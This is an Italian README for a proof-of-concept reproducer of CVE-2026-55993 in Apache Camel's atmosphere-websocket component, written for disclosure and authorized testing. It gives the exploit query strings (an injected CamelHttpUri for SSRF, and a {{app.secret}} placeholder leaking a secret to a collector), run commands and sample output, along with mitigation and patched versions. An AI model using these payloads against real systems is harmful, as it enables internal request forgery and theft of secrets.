
Riproduttore di PoC per CVE-2026-55993 (Apache Camel camel-atmosphere-websocket): il consumer WebSocket copia i parametri della query di connessione sull'Exchange senza filtri, così un CamelHttpUri iniettato genera una richiesta lato server (SSRF) e rivela i placeholder di proprietà risolti. Corretto in 4.14.8/4.18.3/4.21.0.
Questo progetto dimostra un'iniezione di intestazioni dei messaggi nel componente camel-atmosphere-websocket di Apache Camel, tracciato come CVE-2026-55993. Il consumer WebSocket copia i parametri della query della connessione nello scambio Camel senza alcun HeaderFilterStrategy, quindi un client può iniettare intestazioni di controllo Camel — in particolare CamelHttpUri — semplicemente aggiungendole alla stringa di query dell'URL WebSocket:
// WebsocketConsumer.sendEventNotification (affected 4.18.2) — query params -> Exchange headers, unfiltered
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// where queryMap = getQueryMap(request.getQueryString()) (a naive, non-filtering parser)
Quando la route collega questo consumer a un producer HTTP, un CamelHttpUri iniettato sovrascrive l'URI di destinazione del producer — server-side request forgery. Il producer camel-http chiama anche resolvePropertyPlaceholders() su quell'URI controllato dall'attaccante, quindi un riferimento {{...}} iniettato viene espanso al suo valore reale e inviato — divulgando variabili d'ambiente, proprietà dell'applicazione o segreti del vault.
Questo PoC dimostra l'impatto come SSRF più divulgazione di segreti (CWE-20 → CWE-918 + CWE-200). È uno dei tre componenti fratelli corretti insieme sotto CAMEL-23532 (con camel-vertx-websocket, CVE-2026-46726, e camel-iggy, CVE-2026-55994).
Avviso: https://camel.apache.org/security/CVE-2026-55993.html
La correzione applica l'
HttpHeaderFilterStrategyereditato al mapping in entrata, filtrando le intestazioniCamel*/camel*senza distinzione tra maiuscole e minuscole in modo che non possano più essere iniettate attraverso la stringa di query WebSocket.
I due membri vulnerabili di WebsocketConsumer vengono eseguiti invariati, con una stringa di query controllata dall'attaccante:
WebsocketConsumer.getQueryMap(String) — il parser ingenuo e senza filtri che trasforma la stringa di query della connessione WebSocket in una mappa;WebsocketConsumer.sendEventNotification(...) — che copia ogni voce di quella mappa nello scambio come intestazione, senza HeaderFilterStrategy.Lo scambio risultante fluisce attraverso la vera route verso il vero producer camel-http, quindi l'SSRF e la divulgazione del segnaposto di proprietà {{...}} sono autentici.
Perché il trasporto WebSocket non viene utilizzato direttamente. In questa versione del componente (Camel 4.18.2 → Atmosphere 3.1.0), un WebSocket viene servito tramite JSR-356, il cui aggiornamento è gestito dal contenitore servlet e bypassa
CamelWebSocketServlet.service()— l'unico punto che copia la stringa di query della connessione nellaqueryMapdel consumer.sendEventNotificationlegge quella mappa (vuota), mai la query sulla sessione WebSocket, quindi l'iniezione non può essere veicolata attraverso un WebSocket JSR-356 attivo in questa versione di Atmosphere. (Atmosphere 3.1.0 include solo supporto JSR-356 / Servlet30 / BlockingIO / Netty — nessun trasporto WebSocket basato su servlet che potrebbe popolarequeryMap.) Questo riproduttore quindi invoca i due veri metodi vulnerabili direttamente con la stringa di query dell'attaccante; il PoC fratellocamel-vertx-websocket(CVE-2026-46726) sfrutta lo stesso difetto attraverso un WebSocket attivo, perché quel componente mappa la query su ogni messaggio.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
L'unico target inteso dall'autore della route è /legit-backend; il CamelHttpUri iniettato lo sovrascrive.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Aggiornare a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532). Dopo l'aggiornamento, il consumer filtra le intestazioni Camel* dalla stringa di query WebSocket, quindi CamelHttpUri e altre intestazioni di controllo non possono più essere iniettate.
Fino all'aggiornamento, non collegare un consumer atmosphere-websocket direttamente a un producer HTTP senza prima rimuovere le intestazioni di controllo Camel (ad esempio removeHeaders("CamelHttp*")), e impostare la destinazione del producer da una fonte attendibile (o utilizzare bridgeEndpoint=true).
Questo riproduttore è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.
| Proprietà | Valore |
|---|
| Componente | camel-atmosphere-websocket |
| Classe interessata | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() mappano i parametri della query alle intestazioni senza filtro) |
| CWE | CWE-20 (Validazione input impropria) → CWE-918 (SSRF) + CWE-200 (Esposizione di informazioni) |
| Impatto | SSRF non autenticato e divulgazione di segreti tramite risoluzione di segnaposto di proprietà sull'URI iniettato |
| Prerequisiti | Una route collega un consumer atmosphere-websocket a un producer HTTP; il servlet viene eseguito con events=true |
| Versioni interessate | Da 4.0.0 prima di 4.14.8, da 4.15.0 prima di 4.18.3, da 4.19.0 prima di 4.21.0 |
| Versioni corrette | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Credito | Kamalpreet Singh |